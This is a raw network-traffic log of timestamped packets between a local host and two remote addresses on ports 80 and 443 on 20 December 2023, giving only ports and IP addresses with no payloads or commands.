Dec 20, 2023 15:35:08.106952906 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.106997013 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.107094049 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.107139111 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.107244968 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.107328892 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.107374907 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.107400894 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.107484102 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.107530117 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.107541084 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.107589006 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.107625008 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.107654095 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.107716084 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.107753992 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.107862949 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.107954979 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.108000994 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.108129025 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.108211994 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.108256102 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.108273983 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.108583927 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.108649969 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.108825922 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.108872890 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.108915091 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.108983994 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.109025955 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.109052896 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.109147072 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.109188080 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.109215021 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.109257936 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.109297037 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.109353065 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.109411955 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.109453917 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.109477043 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.109580040 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.109622002 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.109647989 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.109700918 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.109741926 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.109783888 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.109865904 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.109905958 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.109956980 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.110028028 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.110070944 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.110116959 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.110373020 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.110416889 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.110490084 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.110639095 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.110703945 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.110801935 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.110855103 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.110996008 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.111044884 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.111094952 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.111195087 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.111239910 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.111253023 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.111299038 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.111349106 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.111355066 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.111422062 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.111434937 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.111468077 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.111510992 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.111546993 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.111562014 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.111608028 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.111648083 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.111742973 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.111896992 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.111939907 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.111967087 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.112066984 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.112107992 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.112127066 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.112211943 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.112253904 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.112262011 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.112714052 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.112781048 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.113032103 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.113070965 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.113322973 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.113395929 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.113435984 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.113441944 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.113497972 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.113548994 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.113573074 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.113631010 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.113679886 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.113698006 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.113746881 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.113791943 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.113805056 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.113857031 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.113898993 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.113920927 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.114001036 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.114048004 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.114073992 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.114253044 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.114298105 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.114326000 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.114387989 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.114430904 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.114442110 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.114495039 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.114541054 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.114542007 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.114584923 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.114630938 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.114644051 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.114712954 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.114753962 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.114873886 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.114980936 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.115039110 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.115066051 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.115151882 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.115196943 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.115253925 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.115345001 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.115391970 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.115432978 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.115580082 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.115643978 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.116210938 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.116261959 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.116391897 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.116436958 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.116465092 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.116501093 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.116543055 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.116564035 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.116657019 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.116695881 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.116780996 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.116995096 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.117039919 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.117088079 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.117162943 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.117204905 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.117250919 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.117326021 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.117368937 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.117419004 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.117497921 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.117542028 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.117559910 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.117624998 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.117679119 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.117698908 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.117746115 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.117788076 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.117789030 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.117841959 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.117885113 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.117933989 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.117970943 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.118014097 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.118060112 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.118266106 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.118318081 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.118664026 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.118715048 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.118890047 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.118942976 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.119110107 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.119159937 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.119288921 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.119337082 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.119600058 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.119656086 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.119935036 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.119992971 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.120085955 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.120153904 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.120520115 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.120575905 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.120774984 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.120834112 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.121444941 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.121490955 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.121515989 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.121524096 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.121535063 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.121563911 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.122760057 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.122782946 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.122839928 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.122844934 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.122862101 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.122884989 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.124030113 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.124049902 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.124095917 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.124102116 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.124139071 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.124510050 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.124789000 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.124809980 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.124866962 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.124871969 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.124898911 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.124917030 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.140688896 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.140710115 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.140774965 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.140783072 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.140791893 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.140822887 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.166285038 CET	49748	80	192.168.2.4	198.46.178.135
Dec 20, 2023 15:35:08.210974932 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.211002111 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.211070061 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.211080074 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.211091042 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.211117983 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.212373018 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.212393999 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.212450981 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.212456942 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.212495089 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.216001034 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.216020107 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.216094971 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.216100931 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.216139078 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.218837976 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.218898058 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.218915939 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.218919992 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.218944073 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.218950987 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.224030972 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.224062920 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.224101067 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.224104881 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.224164963 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.226078987 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.227287054 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.227308989 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.227376938 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.227386951 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.227426052 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.232176065 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.232199907 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.232244015 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.232249975 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.232275009 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.232289076 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.233875036 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.233894110 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.233927965 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.233935118 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.233966112 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.233980894 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.235538960 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.235558987 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.235614061 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.235620022 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.235660076 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.238025904 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.238045931 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.238096952 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.238101959 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.238151073 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.240571976 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.240592003 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.240643978 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.240653038 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.240695000 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.243398905 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.243419886 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.243468046 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.243474007 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.243510962 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.244656086 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.244674921 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.244741917 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.244748116 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.244786024 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.247983932 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.248003960 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.248050928 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.248055935 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.248097897 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.250025988 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.250052929 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.250087976 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.250092983 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.250118017 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.250133991 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.250966072 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.250987053 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.251023054 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.251028061 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.251050949 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.251081944 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.253556013 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.253582954 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.253619909 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.253624916 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.253642082 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.253655910 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.255568027 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.255614042 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.255625010 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.255628109 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.255650997 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.255666971 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.258277893 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.258305073 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.258351088 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.258358955 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.258378983 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.258399010 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.260575056 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.260596991 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.260639906 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.260648966 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.260665894 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.260683060 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.263302088 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.263322115 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.263380051 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.263386011 CET	443	49747	104.21.91.52	192.168.2.4
Dec 20, 2023 15:35:08.263421059 CET	49747	443	192.168.2.4	104.21.91.52
Dec 20, 2023 15:35:08.264247894 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.264354944 CET	80	49748	198.46.178.135	192.168.2.4
Dec 20, 2023 15:35:08.264404058 CET	49748	80	192.168.2.4	198.46.178.135
